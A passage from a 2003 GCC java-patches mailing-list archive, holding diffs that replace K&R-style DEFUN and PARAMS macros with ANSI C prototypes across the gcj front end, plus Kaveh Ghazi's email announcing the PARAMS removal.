char *prefix, int index) { int name_index = JPOOL_USHORT1 (jcf, index); fputs (prefix, stream); @@ -1965,8 +1952,7 @@ print_class_decls (out, jcf, self) static void -DEFUN(process_file, (jcf, out), - JCF *jcf AND FILE *out) +process_file (JCF *jcf, FILE *out) { int code, i; uint32 field_start, method_end, method_start; @@ -2314,8 +2300,7 @@ version () } int -DEFUN(main, (argc, argv), - int argc AND char** argv) +main (int argc, char** argv) { JCF jcf; int argi; diff -rup orig/egcc-CVS20030109/gcc/java/javaop.h egcc-CVS20030109/gcc/java/javaop.h --- orig/egcc-CVS20030109/gcc/java/javaop.h Wed Jan 1 16:00:35 2003 +++ egcc-CVS20030109/gcc/java/javaop.h Thu Jan 9 13:49:05 2003 @@ -49,11 +49,7 @@ typedef unsigned int32 uint32; #endif typedef uint16 jchar; -#ifdef __STDC__ typedef signed char jbyte; -#else -typedef char jbyte; -#endif typedef int16 jshort; typedef int32 jint; typedef int64 jlong; diff -rup orig/egcc-CVS20030109/gcc/java/jcf-dump.c egcc-CVS20030109/gcc/java/jcf-dump.c --- orig/egcc-CVS20030109/gcc/java/jcf-dump.c Wed Jan 1 16:00:36 2003 +++ egcc-CVS20030109/gcc/java/jcf-dump.c Thu Jan 9 13:46:48 2003 @@ -111,8 +111,7 @@ static void print_exception_table PARAMS #define PRINT_SIGNATURE_ARGS_ONLY 2 static int -DEFUN(utf8_equal_string, (jcf, index, value), - JCF *jcf AND int index AND const char * value) +utf8_equal_string (JCF *jcf, int index, const char * value) { if (CPOOL_INDEX_IN_RANGE (&jcf->cpool, index) && JPOOL_TAG (jcf, index) == CONSTANT_Utf8) @@ -346,8 +345,7 @@ DEFUN(utf8_equal_string, (jcf, index, va #include "javaop.h" static void -DEFUN(print_constant_ref, (stream, jcf, index), - FILE *stream AND JCF *jcf AND int index) +print_constant_ref (FILE *stream, JCF *jcf, int index) { fprintf (stream, "#%d=<", index); if (index <= 0 || index >= JPOOL_SIZE(jcf)) @@ -362,8 +360,7 @@ DEFUN(print_constant_ref, (stream, jcf, or 'm' (method flags). */ static void -DEFUN (print_access_flags, (stream, flags, context), - FILE *stream AND uint16 flags AND char context) +print_access_flags (FILE *stream, uint16 flags, char context) { if (flags & ACC_PUBLIC) fprintf (stream, " public"); if (flags & ACC_PRIVATE) fprintf (stream, " private"); @@ -387,8 +384,7 @@ DEFUN (print_access_flags, (stream, flag static void -DEFUN(print_name, (stream, jcf, name_index), - FILE* stream AND JCF* jcf AND int name_index) +print_name (FILE* stream, JCF* jcf, int name_index) { if (JPOOL_TAG (jcf, name_index) != CONSTANT_Utf8) fprintf (stream, ""); @@ -401,8 +397,7 @@ DEFUN(print_name, (stream, jcf, name_ind print it tersely, otherwise more verbosely. */ static void -DEFUN(print_constant_terse, (out, jcf, index, expected), - FILE *out AND JCF *jcf AND int index AND int expected) +print_constant_terse (FILE *out, JCF *jcf, int index, int expected) { if (! CPOOL_INDEX_IN_RANGE (&jcf->cpool, index)) fprintf (out, "", index); @@ -422,8 +417,7 @@ DEFUN(print_constant_terse, (out, jcf, i If verbosity==2, add more descriptive text. */ static void -DEFUN(print_constant, (out, jcf, index, verbosity), - FILE *out AND JCF *jcf AND int index AND int verbosity) +print_constant (FILE *out, JCF *jcf, int index, int verbosity) { int j, n; jlong num; @@ -579,8 +573,7 @@ DEFUN(print_constant, (out, jcf, index, } static void -DEFUN(print_constant_pool, (jcf), - JCF *jcf) +print_constant_pool (JCF *jcf) { int i; for (i = 1; i < JPOOL_SIZE(jcf); i++) @@ -595,8 +588,8 @@ DEFUN(print_constant_pool, (jcf), } static void -DEFUN(print_signature_type, (stream, ptr, limit), - FILE* stream AND const unsigned char **ptr AND const unsigned char *limit) +print_signature_type (FILE* stream, const unsigned char **ptr, + const unsigned char *limit) { int array_size; if ((*ptr) >= limit) @@ -657,8 +650,7 @@ DEFUN(print_signature_type, (stream, ptr } static void -DEFUN(print_signature, (stream, jcf, signature_index, int options), - FILE* stream AND JCF *jcf AND int signature_index AND int options) +print_signature (FILE* stream, JCF *jcf, int signature_index, int options) { if (JPOOL_TAG (jcf, signature_index) != CONSTANT_Utf8) print_constant_terse (out, jcf, signature_index, CONSTANT_Utf8); @@ -704,8 +696,7 @@ DEFUN(print_signature, (stream, jcf, sig static void -DEFUN(print_exception_table, (jcf, entries, count), - JCF *jcf AND const unsigned char *entries AND int count) +print_exception_table (JCF *jcf, const unsigned char *entries, int count) { /* Print exception table. */ int i = count; @@ -736,8 +727,7 @@ DEFUN(print_exception_table, (jcf, entri #include "jcf-reader.c" static void -DEFUN(process_class, (jcf), - JCF *jcf) +process_class (JCF *jcf) { int code; if (jcf_parse_preamble (jcf) != 0) @@ -849,8 +839,7 @@ version () } int -DEFUN(main, (argc, argv), - int argc AND char** argv) +main (int argc, char** argv) { JCF jcf[1]; int argi, opt; @@ -1069,10 +1058,8 @@ DEFUN(main, (argc, argv), static void -DEFUN(disassemble_method, (jcf, byte_ops, len), - JCF* jcf AND const unsigned char *byte_ops AND int len) +disassemble_method (JCF* jcf, const unsigned char *byte_ops, int len) { -#undef AND /* Causes problems with opcodes for iand and land. */ #undef PTR int PC; int i; diff -rup orig/egcc-CVS20030109/gcc/java/jcf-io.c egcc-CVS20030109/gcc/java/jcf-io.c --- orig/egcc-CVS20030109/gcc/java/jcf-io.c Wed Jan 1 16:00:36 2003 +++ egcc-CVS20030109/gcc/java/jcf-io.c Thu Jan 9 13:39:56 2003 @@ -48,8 +48,7 @@ The Free Software Foundation is independ #endif int -DEFUN(jcf_unexpected_eof, (jcf, count), - JCF *jcf AND int count ATTRIBUTE_UNUSED) +jcf_unexpected_eof (JCF *jcf, int count ATTRIBUTE_UNUSED) { if (jcf->filename) fprintf (stderr, "Premature end of .class file %s.\n", jcf->filename); @@ -59,8 +58,7 @@ DEFUN(jcf_unexpected_eof, (jcf, count), } void -DEFUN(jcf_trim_old_input, (jcf), - JCF *jcf) +jcf_trim_old_input (JCF *jcf) { int count = jcf->read_ptr - jcf->buffer; if (count > 0) @@ -72,8 +70,7 @@ DEFUN(jcf_trim_old_input, (jcf), } int -DEFUN(jcf_filbuf_from_stdio, (jcf, count), - JCF *jcf AND int count) +jcf_filbuf_from_stdio (JCF *jcf, int count) { FILE *file = (FILE*) (jcf->read_state); if (count > jcf->buffer_end - jcf->read_ptr) @@ -108,8 +105,7 @@ struct ZipFile *SeenZipFiles = NULL; */ ZipFile * -DEFUN(opendir_in_zip, (zipfile, is_system), - const char *zipfile AND int is_system) +opendir_in_zip (const char *zipfile, int is_system) { struct ZipFile* zipf; char magic [4]; @@ -154,9 +150,8 @@ DEFUN(opendir_in_zip, (zipfile, is_syste */ int -DEFUN(open_in_zip, (jcf, zipfile, zipmember, is_system), - JCF *jcf AND const char *zipfile AND const char *zipmember - AND int is_system) +open_in_zip (JCF *jcf, const char *zipfile, const char *zipmember, + int is_system) { ZipDirectory *zipd; int i, len; @@ -189,8 +184,7 @@ DEFUN(open_in_zip, (jcf, zipfile, zipmem /* Read data from zip archive member. */ int -DEFUN(read_zip_member, (jcf, zipd, zipf), - JCF *jcf AND ZipDirectory *zipd AND ZipFile *zipf) +read_zip_member (JCF *jcf, ZipDirectory *zipd, ZipFile *zipf) { jcf->filbuf = jcf_unexpected_eof; jcf->zipd = (void *)zipd; @@ -237,8 +231,7 @@ DEFUN(read_zip_member, (jcf, zipd, zipf) } const char * -DEFUN(open_class, (filename, jcf, fd, dep_name), - const char *filename AND JCF *jcf AND int fd AND const char *dep_name) +open_class (const char *filename, JCF *jcf, int fd, const char *dep_name) { if (jcf) { @@ -273,8 +266,7 @@ DEFUN(open_class, (filename, jcf, fd, de const char * -DEFUN(find_classfile, (filename, jcf, dep_name), - char *filename AND JCF *jcf AND const char *dep_name) +find_classfile (char *filename, JCF *jcf, const char *dep_name) { int fd = open (filename, O_RDONLY | O_BINARY); if (fd < 0) @@ -289,8 +281,7 @@ DEFUN(find_classfile, (filename, jcf, de dirent **). */ static int -DEFUN(compare_path, (key, entry), - const void *key AND const void *entry) +compare_path (const void *key, const void *entry) { return strcmp ((const char *) key, (*((const struct dirent **) entry))->d_name); @@ -299,8 +290,7 @@ DEFUN(compare_path, (key, entry), /* Returns nonzero if ENTRY names a .java or .class file. */ static int -DEFUN(java_or_class_file, (entry), - const struct dirent *entry) +java_or_class_file (const struct dirent *entry) { const char *base = basename (entry->d_name); return (fnmatch ("*.java", base, 0) == 0 || @@ -325,8 +315,7 @@ typedef struct memoized_dirlist_entry name. */ static int -DEFUN(memoized_dirlist_lookup_eq, (entry, key), - const void *entry AND const void *key) +memoized_dirlist_lookup_eq (const void *entry, const void *key) { return strcmp ((const char *) key, ((const memoized_dirlist_entry *) entry)->dir) == 0; @@ -343,8 +332,7 @@ static htab_t memoized_dirlists; know that it cannot succeed. FILENAME and BUF are as for stat. */ static int -DEFUN(caching_stat, (filename, buf), - char *filename AND struct stat *buf) +caching_stat (char *filename, struct stat *buf) { #if JCF_USE_SCANDIR char *sep; @@ -410,8 +398,7 @@ DEFUN(caching_stat, (filename, buf), stored in TABLE_ENTRY (also a char *). */ static int -DEFUN(memoized_class_lookup_eq, (table_entry, classname), - const void *table_entry AND const void *classname) +memoized_class_lookup_eq (const void *table_entry, const void *classname) { return strcmp ((const char *)classname, (const char *)table_entry) == 0; } @@ -430,9 +417,8 @@ static htab_t memoized_class_lookups; file. */ const char * -DEFUN(find_class, (classname, classname_length, jcf, source_ok), - const char *classname AND int classname_length AND JCF *jcf AND int source_ok) - +find_class (const char *classname, int classname_length, JCF *jcf, + int source_ok) { int fd; int i, k, java = -1, class = -1; @@ -596,8 +582,7 @@ DEFUN(find_class, (classname, classname_ } void -DEFUN(jcf_print_char, (stream, ch), - FILE *stream AND int ch) +jcf_print_char (FILE *stream, int ch) { switch (ch) { @@ -628,8 +613,7 @@ DEFUN(jcf_print_char, (stream, ch), /* Print UTF8 string at STR of length LENGTH bytes to STREAM. */ void -DEFUN(jcf_print_utf8, (stream, str, length), - FILE *stream AND register const unsigned char *str AND int length) +jcf_print_utf8 (FILE *stream, register const unsigned char *str, int length) { const unsigned char * limit = str + length; while (str < limit) @@ -647,9 +631,8 @@ DEFUN(jcf_print_utf8, (stream, str, leng /* Same as jcf_print_utf8, but print IN_CHAR as OUT_CHAR. */ void -DEFUN(jcf_print_utf8_replace, (stream, str, length, in_char, out_char), - FILE *stream AND const unsigned char *str AND int length - AND int in_char AND int out_char) +jcf_print_utf8_replace (FILE *stream, const unsigned char *str, int length, + int in_char, int out_char) { const unsigned char *limit = str + length; while (str < limit) @@ -671,8 +654,7 @@ DEFUN(jcf_print_utf8_replace, (stream, s any classes, fields, or methods are valid.*/ int -DEFUN(verify_constant_pool, (jcf), - JCF *jcf) +verify_constant_pool (JCF *jcf) { int i, n; for (i = 1; i < JPOOL_SIZE (jcf); i++) @@ -721,8 +703,7 @@ DEFUN(verify_constant_pool, (jcf), } void -DEFUN(format_uint, (buffer, value, base), - char *buffer AND uint64 value AND int base) +format_uint (char *buffer, uint64 value, int base) { #define WRITE_BUF_SIZE (4 + sizeof(uint64) * 8) char buf[WRITE_BUF_SIZE]; @@ -746,8 +727,7 @@ DEFUN(format_uint, (buffer, value, base) } void -DEFUN(format_int, (buffer, value, base), - char *buffer AND jlong value AND int base) +format_int (char *buffer, jlong value, int base) { uint64 abs_value; if (value < 0) diff -rup orig/egcc-CVS20030109/gcc/java/jcf-reader.c egcc-CVS20030109/gcc/java/jcf-reader.c --- orig/egcc-CVS20030109/gcc/java/jcf-reader.c Thu Jan 2 07:00:41 2003 +++ egcc-CVS20030109/gcc/java/jcf-reader.c Thu Jan 9 13:41:00 2003 @@ -108,8 +108,7 @@ skip_attribute (jcf, number_of_attribute #endif static int -DEFUN(get_attribute, (jcf), - JCF *jcf) +get_attribute (JCF *jcf) { uint16 attribute_name = (JCF_FILL (jcf, 6), JCF_readu2 (jcf)); uint32 attribute_length = JCF_readu4 (jcf); @@ -241,8 +240,7 @@ DEFUN(get_attribute, (jcf), /* Read and handle the pre-amble. */ static int -DEFUN(jcf_parse_preamble, (jcf), - JCF* jcf) +jcf_parse_preamble (JCF* jcf) { uint32 magic = (JCF_FILL (jcf, 8), JCF_readu4 (jcf)); uint16 minor_version ATTRIBUTE_UNUSED = JCF_readu2 (jcf); @@ -262,8 +260,7 @@ DEFUN(jcf_parse_preamble, (jcf), Return -2 if a bad cross-reference (index of other constant) was seen. */ static int -DEFUN(jcf_parse_constant_pool, (jcf), - JCF* jcf) +jcf_parse_constant_pool (JCF* jcf) { int i, n; JPOOL_SIZE (jcf) = (JCF_FILL (jcf, 2), JCF_readu2 (jcf)); @@ -328,8 +325,7 @@ DEFUN(jcf_parse_constant_pool, (jcf), /* Read various class flags and numbers. */ static void -DEFUN(jcf_parse_class, (jcf), - JCF* jcf) +jcf_parse_class (JCF* jcf) { int i; uint16 interfaces_count; @@ -357,8 +353,7 @@ DEFUN(jcf_parse_class, (jcf), /* Read fields. */ static int -DEFUN(jcf_parse_fields, (jcf), - JCF* jcf) +jcf_parse_fields (JCF* jcf) { int i, j; uint16 fields_count; @@ -397,8 +392,7 @@ DEFUN(jcf_parse_fields, (jcf), /* Read methods. */ static int -DEFUN(jcf_parse_one_method, (jcf), - JCF* jcf) +jcf_parse_one_method (JCF* jcf) { int i; uint16 access_flags = (JCF_FILL (jcf, 8), JCF_readu2 (jcf)); @@ -421,8 +415,7 @@ DEFUN(jcf_parse_one_method, (jcf), } static int -DEFUN(jcf_parse_methods, (jcf), - JCF* jcf) +jcf_parse_methods (JCF* jcf) { int i; uint16 methods_count; @@ -445,8 +438,7 @@ DEFUN(jcf_parse_methods, (jcf), /* Read attributes. */ static int -DEFUN(jcf_parse_final_attributes, (jcf), - JCF *jcf) +jcf_parse_final_attributes (JCF *jcf) { int i; uint16 attributes_count = (JCF_FILL (jcf, 2), JCF_readu2 (jcf)); diff -rup orig/egcc-CVS20030109/gcc/java/jcf-write.c egcc-CVS20030109/gcc/java/jcf-write.c --- orig/egcc-CVS20030109/gcc/java/jcf-write.c Wed Jan 1 16:00:36 2003 +++ egcc-CVS20030109/gcc/java/jcf-write.c Thu Jan 9 13:44:28 2003 @@ -31,7 +31,6 @@ The Free Software Foundation is independ #include "real.h" #include "java-tree.h" #include "obstack.h" -#undef AND #include "rtl.h" #include "flags.h" #include "java-opcodes.h" diff -rup orig/egcc-CVS20030109/gcc/java/jcf.h egcc-CVS20030109/gcc/java/jcf.h --- orig/egcc-CVS20030109/gcc/java/jcf.h Wed Jan 1 16:00:36 2003 +++ egcc-CVS20030109/gcc/java/jcf.h Thu Jan 9 13:43:36 2003 @@ -28,25 +28,6 @@ The Free Software Foundation is independ #ifndef GCC_JCF_H #define GCC_JCF_H #include "javaop.h" -#ifndef DEFUN -#if defined (__STDC__) -#define AND , -#define PTR void * -#define DEFUN(name, arglist, args) name(args) -#else -#define PTR char * -#define AND ; -#define DEFUN(name, arglist, args) name arglist args; -#endif -#endif /* !DEFUN */ - -#ifndef PARAMS -#if defined (__STDC__) -#define PARAMS (paramlist) paramlist -#else -#define PARAMS (paramlist) () -#endif -#endif #ifndef JCF_u4 #define JCF_u4 unsigned long diff -rup orig/egcc-CVS20030109/gcc/java/jv-scan.c egcc-CVS20030109/gcc/java/jv-scan.c --- orig/egcc-CVS20030109/gcc/java/jv-scan.c Thu Jan 9 13:55:31 2003 +++ egcc-CVS20030109/gcc/java/jv-scan.c Thu Jan 9 13:42:22 2003 @@ -134,8 +134,7 @@ version () /* jc1-lite main entry point */ int -DEFUN (main, (argc, argv), - int argc AND char **argv) +main (int argc, char **argv) { int i = 1; const char *output_file = NULL; From java-patches-return-5775-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 09 23:26:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13824 invoked by alias); 9 Jan 2003 23:26:44 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13809 invoked from network); 9 Jan 2003 23:26:41 -0000 Received: from unknown (HELO caip.rutgers.edu) (128.6.236.10) by 209.249.29.67 with SMTP; 9 Jan 2003 23:26:41 -0000 Received: (from ghazi@localhost) by caip.rutgers.edu (8.9.3/8.9.3) id SAA16480; Thu, 9 Jan 2003 18:26:29 -0500 (EST) Date: Thu, 9 Jan 2003 18:26:29 -0500 (EST) From: "Kaveh R. Ghazi" Message-Id: <200301092326.SAA16480@caip.rutgers.edu> To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch installed to remove PARAMS macro from java dir This patch nukes (almost) all PARAMS from the java dir. Note there are a few PARAMS left. A couple remain in jvspec.c because I think that's used by the stage1 compiler to build gcj. I'm not sure why gcj is built in stage1 though. Something to look at. Also there's one left in builtins.c. When I removed that one I ran into a bug (?) in gengtype. Something else to look at (later). Anyway, tested on sparc-sun-solaris2.7 and installed as obvious. 2003-01-09 Kaveh R. Ghazi * All Files: Remove PARAMS macro. diff -rup orig/egcc-CVS20030109/gcc/java/boehm.c egcc-CVS20030109/gcc/java/boehm.c --- orig/egcc-CVS20030109/gcc/java/boehm.c Wed Jan 1 16:00:34 2003 +++ egcc-CVS20030109/gcc/java/boehm.c Thu Jan 9 14:04:06 2003 @@ -34,16 +34,11 @@ The Free Software Foundation is independ #include "parse.h" #include "toplev.h" -static void mark_reference_fields PARAMS ((tree, - unsigned HOST_WIDE_INT *, - unsigned HOST_WIDE_INT *, - unsigned int, - int *, int *, - int *, - HOST_WIDE_INT *)); -static void set_bit PARAMS ((unsigned HOST_WIDE_INT *, - unsigned HOST_WIDE_INT *, - unsigned int)); +static void mark_reference_fields (tree, unsigned HOST_WIDE_INT *, + unsigned HOST_WIDE_INT *, unsigned int, + int *, int *, int *, HOST_WIDE_INT *); +static void set_bit (unsigned HOST_WIDE_INT *, unsigned HOST_WIDE_INT *, + unsigned int); /* Treat two HOST_WIDE_INT's as a contiguous bitmap, with bit 0 being the least significant. This function sets bit N in the bitmap. */ diff -rup orig/egcc-CVS20030109/gcc/java/buffer.h egcc-CVS20030109/gcc/java/buffer.h --- orig/egcc-CVS20030109/gcc/java/buffer.h Wed Jan 1 16:00:34 2003 +++ egcc-CVS20030109/gcc/java/buffer.h Thu Jan 9 14:04:29 2003 @@ -43,4 +43,4 @@ struct buffer #define BUFFER_RESET(BUFP) ((BUFP)->ptr = (BUFP)->data) -extern void buffer_grow PARAMS ((struct buffer*, int)); +extern void buffer_grow (struct buffer*, int); diff -rup orig/egcc-CVS20030109/gcc/java/builtins.c egcc-CVS20030109/gcc/java/builtins.c --- orig/egcc-CVS20030109/gcc/java/builtins.c Wed Jan 1 16:00:34 2003 +++ egcc-CVS20030109/gcc/java/builtins.c Thu Jan 9 14:49:22 2003 @@ -61,19 +61,17 @@ enum builtin_type BT_LAST }; -static tree max_builtin PARAMS ((tree, tree)); -static tree min_builtin PARAMS ((tree, tree)); -static tree abs_builtin PARAMS ((tree, tree)); -static tree cos_builtin PARAMS ((tree, tree)); -static tree sin_builtin PARAMS ((tree, tree)); -static tree sqrt_builtin PARAMS ((tree, tree)); +static tree max_builtin (tree, tree); +static tree min_builtin (tree, tree); +static tree abs_builtin (tree, tree); +static tree cos_builtin (tree, tree); +static tree sin_builtin (tree, tree); +static tree sqrt_builtin (tree, tree); -static tree build_function_call_expr PARAMS ((tree, tree)); -static void define_builtin PARAMS ((enum built_in_function, - const char *, - enum built_in_class, - tree, int)); -static tree define_builtin_type PARAMS ((int, int, int, int, int)); +static tree build_function_call_expr (tree, tree); +static void define_builtin (enum built_in_function, const char *, + enum built_in_class, tree, int); +static tree define_builtin_type (int, int, int, int, int); diff -rup orig/egcc-CVS20030109/gcc/java/check-init.c egcc-CVS20030109/gcc/java/check-init.c --- orig/egcc-CVS20030109/gcc/java/check-init.c Wed Jan 1 16:00:34 2003 +++ egcc-CVS20030109/gcc/java/check-init.c Thu Jan 9 14:07:11 2003 @@ -102,15 +102,15 @@ static tree wfl; #define WORD_SIZE ((unsigned int)(sizeof(word) * BITS_PER_UNIT)) -static void check_bool_init PARAMS ((tree, words, words, words)); -static void check_init PARAMS ((tree, words)); -static void check_cond_init PARAMS ((tree, tree, tree, words, words, words)); -static void check_bool2_init PARAMS ((enum tree_code, tree, tree, words, words, words)); +static void check_bool_init (tree, words, words, words); +static void check_init (tree, words); +static void check_cond_init (tree, tree, tree, words, words, words); +static void check_bool2_init (enum tree_code, tree, tree, words, words, words); struct alternatives; -static void done_alternative PARAMS ((words, struct alternatives *)); -static tree get_variable_decl PARAMS ((tree)); -static void final_assign_error PARAMS ((tree)); -static void check_final_reassigned PARAMS ((tree, words)); +static void done_alternative (words, struct alternatives *); +static tree get_variable_decl (tree); +static void final_assign_error (tree); +static void check_final_reassigned (tree, words); #define ALLOC_WORDS(NUM) (xmalloc ((NUM) * sizeof (word))) #define FREE_WORDS(PTR) (free (PTR)) diff -rup orig/egcc-CVS20030109/gcc/java/class.c egcc-CVS20030109/gcc/java/class.c --- orig/egcc-CVS20030109/gcc/java/class.c Tue Jan 7 16:00:31 2003 +++ egcc-CVS20030109/gcc/java/class.c Thu Jan 9 14:14:38 2003 @@ -48,16 +48,16 @@ The Free Software Foundation is independ #define O_BINARY 0 /* MS-DOS brain-damage */ #endif -static tree make_method_value PARAMS ((tree)); -static tree build_java_method_type PARAMS ((tree, tree, int)); -static int32 hashUtf8String PARAMS ((const char *, int)); -static tree make_field_value PARAMS ((tree)); -static tree get_dispatch_vector PARAMS ((tree)); -static tree get_dispatch_table PARAMS ((tree, tree)); -static void add_interface_do PARAMS ((tree, tree, int)); -static tree maybe_layout_super_class PARAMS ((tree, tree)); -static int assume_compiled PARAMS ((const char *)); -static tree build_method_symbols_entry PARAMS ((tree)); +static tree make_method_value (tree); +static tree build_java_method_type (tree, tree, int); +static int32 hashUtf8String (const char *, int); +static tree make_field_value (tree); +static tree get_dispatch_vector (tree); +static tree get_dispatch_table (tree, tree); +static void add_interface_do (tree, tree, int); +static tree maybe_layout_super_class (tree, tree); +static int assume_compiled (const char *); +static tree build_method_symbols_entry (tree); static GTY(()) rtx registerClass_libfunc; static GTY(()) rtx registerResource_libfunc; @@ -86,8 +86,8 @@ typedef struct assume_compiled_node_stru struct assume_compiled_node_struct *child; } assume_compiled_node; -static assume_compiled_node *find_assume_compiled_node - PARAMS ((assume_compiled_node *, const char *)); +static assume_compiled_node *find_assume_compiled_node (assume_compiled_node *, + const char *); /* This is the root of the include/exclude tree. */ @@ -2134,7 +2134,7 @@ emit_register_classes () } else { - extern tree get_file_function_name PARAMS ((int)); + extern tree get_file_function_name (int); tree init_name = get_file_function_name ('I'); tree init_type = build_function_type (void_type_node, end_params_node); tree init_decl; @@ -2270,8 +2270,8 @@ init_class_processing () gcc_obstack_init (&temporary_obstack); } -static hashval_t java_treetreehash_hash PARAMS ((const void *)); -static int java_treetreehash_compare PARAMS ((const void *, const void *)); +static hashval_t java_treetreehash_hash (const void *); +static int java_treetreehash_compare (const void *, const void *); /* A hash table mapping trees to trees. Used generally. */ diff -rup orig/egcc-CVS20030109/gcc/java/constants.c egcc-CVS20030109/gcc/java/constants.c --- orig/egcc-CVS20030109/gcc/java/constants.c Wed Jan 1 16:00:34 2003 +++ egcc-CVS20030109/gcc/java/constants.c Thu Jan 9 14:09:29 2003 @@ -31,11 +31,11 @@ The Free Software Foundation is independ #include "toplev.h" #include "ggc.h" -static void set_constant_entry PARAMS ((CPool *, int, int, jword)); -static int find_class_or_string_constant PARAMS ((CPool *, int, tree)); -static int find_name_and_type_constant PARAMS ((CPool *, tree, tree)); -static tree get_tag_node PARAMS ((int)); -static tree build_constant_data_ref PARAMS ((void)); +static void set_constant_entry (CPool *, int, int, jword); +static int find_class_or_string_constant (CPool *, int, tree); +static int find_name_and_type_constant (CPool *, tree, tree); +static tree get_tag_node (int); +static tree build_constant_data_ref (void); /* Set the INDEX'th constant in CPOOL to have the given TAG and VALUE. */ diff -rup orig/egcc-CVS20030109/gcc/java/convert.h egcc-CVS20030109/gcc/java/convert.h --- orig/egcc-CVS20030109/gcc/java/convert.h Wed Jan 1 16:00:34 2003 +++ egcc-CVS20030109/gcc/java/convert.h Thu Jan 9 14:09:55 2003 @@ -20,8 +20,8 @@ Boston, MA 02111-1307, USA. */ /* Written by Jeffrey Hsu */ -extern tree convert_to_boolean PARAMS ((tree, tree)); -extern tree convert_to_char PARAMS ((tree, tree)); -extern tree convert_to_integer PARAMS ((tree type, tree expr)); -extern tree convert_to_real PARAMS ((tree type, tree expr)); -extern tree convert_to_pointer PARAMS ((tree type, tree expr)); +extern tree convert_to_boolean (tree, tree); +extern tree convert_to_char (tree, tree); +extern tree convert_to_integer (tree type, tree expr); +extern tree convert_to_real (tree type, tree expr); +extern tree convert_to_pointer (tree type, tree expr); diff -rup orig/egcc-CVS20030109/gcc/java/decl.c egcc-CVS20030109/gcc/java/decl.c --- orig/egcc-CVS20030109/gcc/java/decl.c Wed Jan 1 16:00:35 2003 +++ egcc-CVS20030109/gcc/java/decl.c Thu Jan 9 14:10:18 2003 @@ -47,17 +47,17 @@ The Free Software Foundation is independ #include "tree-inline.h" #if defined (DEBUG_JAVA_BINDING_LEVELS) -extern void indent PARAMS ((void)); +extern void indent (void); #endif -static tree push_jvm_slot PARAMS ((int, tree)); -static tree lookup_name_current_level PARAMS ((tree)); -static tree push_promoted_type PARAMS ((const char *, tree)); -static struct binding_level *make_binding_level PARAMS ((void)); -static tree create_primitive_vtable PARAMS ((const char *)); -static tree check_local_named_variable PARAMS ((tree, tree, int, int *)); -static tree check_local_unnamed_variable PARAMS ((tree, tree, tree)); -static void dump_function PARAMS ((enum tree_dump_index, tree)); +static tree push_jvm_slot (int, tree); +static tree lookup_name_current_level (tree); +static tree push_promoted_type (const char *, tree); +static struct binding_level *make_binding_level (void); +static tree create_primitive_vtable (const char *); +static tree check_local_named_variable (tree, tree, int, int *); +static tree check_local_unnamed_variable (tree, tree, tree); +static void dump_function (enum tree_dump_index, tree); /* Name of the Cloneable class. */ tree java_lang_cloneable_identifier_node; diff -rup orig/egcc-CVS20030109/gcc/java/except.c egcc-CVS20030109/gcc/java/except.c --- orig/egcc-CVS20030109/gcc/java/except.c Wed Jan 1 16:00:35 2003 +++ egcc-CVS20030109/gcc/java/except.c Thu Jan 9 14:10:36 2003 @@ -39,13 +39,13 @@ The Free Software Foundation is independ #include "java-except.h" #include "toplev.h" -static void expand_start_java_handler PARAMS ((struct eh_range *)); -static void expand_end_java_handler PARAMS ((struct eh_range *)); -static struct eh_range *find_handler_in_range PARAMS ((int, struct eh_range *, - struct eh_range *)); -static void link_handler PARAMS ((struct eh_range *, struct eh_range *)); -static void check_start_handlers PARAMS ((struct eh_range *, int)); -static void free_eh_ranges PARAMS ((struct eh_range *range)); +static void expand_start_java_handler (struct eh_range *); +static void expand_end_java_handler (struct eh_range *); +static struct eh_range *find_handler_in_range (int, struct eh_range *, + struct eh_range *); +static void link_handler (struct eh_range *, struct eh_range *); +static void check_start_handlers (struct eh_range *, int); +static void free_eh_ranges (struct eh_range *range); struct eh_range *current_method_handlers; diff -rup orig/egcc-CVS20030109/gcc/java/expr.c egcc-CVS20030109/gcc/java/expr.c --- orig/egcc-CVS20030109/gcc/java/expr.c Thu Jan 9 13:57:46 2003 +++ egcc-CVS20030109/gcc/java/expr.c Thu Jan 9 14:11:11 2003 @@ -44,48 +44,47 @@ The Free Software Foundation is independ #include "except.h" #include "ggc.h" -static void flush_quick_stack PARAMS ((void)); -static void push_value PARAMS ((tree)); -static tree pop_value PARAMS ((tree)); -static void java_stack_swap PARAMS ((void)); -static void java_stack_dup PARAMS ((int, int)); -static void build_java_athrow PARAMS ((tree)); -static void build_java_jsr PARAMS ((int, int)); -static void build_java_ret PARAMS ((tree)); -static void expand_java_multianewarray PARAMS ((tree, int)); -static void expand_java_arraystore PARAMS ((tree)); -static void expand_java_arrayload PARAMS ((tree)); -static void expand_java_array_length PARAMS ((void)); -static tree build_java_monitor PARAMS ((tree, tree)); -static void expand_java_pushc PARAMS ((int, tree)); -static void expand_java_return PARAMS ((tree)); -static void expand_load_internal PARAMS ((int, tree, int)); -static void expand_java_NEW PARAMS ((tree)); -static void expand_java_INSTANCEOF PARAMS ((tree)); -static void expand_java_CHECKCAST PARAMS ((tree)); -static void expand_iinc PARAMS ((unsigned int, int, int)); -static void expand_java_binop PARAMS ((tree, enum tree_code)); -static void note_label PARAMS ((int, int)); -static void expand_compare PARAMS ((enum tree_code, tree, tree, int)); -static void expand_test PARAMS ((enum tree_code, tree, int)); -static void expand_cond PARAMS ((enum tree_code, tree, int)); -static void expand_java_goto PARAMS ((int)); +static void flush_quick_stack (void); +static void push_value (tree); +static tree pop_value (tree); +static void java_stack_swap (void); +static void java_stack_dup (int, int); +static void build_java_athrow (tree); +static void build_java_jsr (int, int); +static void build_java_ret (tree); +static void expand_java_multianewarray (tree, int); +static void expand_java_arraystore (tree); +static void expand_java_arrayload (tree); +static void expand_java_array_length (void); +static tree build_java_monitor (tree, tree); +static void expand_java_pushc (int, tree); +static void expand_java_return (tree); +static void expand_load_internal (int, tree, int); +static void expand_java_NEW (tree); +static void expand_java_INSTANCEOF (tree); +static void expand_java_CHECKCAST (tree); +static void expand_iinc (unsigned int, int, int); +static void expand_java_binop (tree, enum tree_code); +static void note_label (int, int); +static void expand_compare (enum tree_code, tree, tree, int); +static void expand_test (enum tree_code, tree, int); +static void expand_cond (enum tree_code, tree, int); +static void expand_java_goto (int); #if 0 -static void expand_java_call PARAMS ((int, int)); -static void 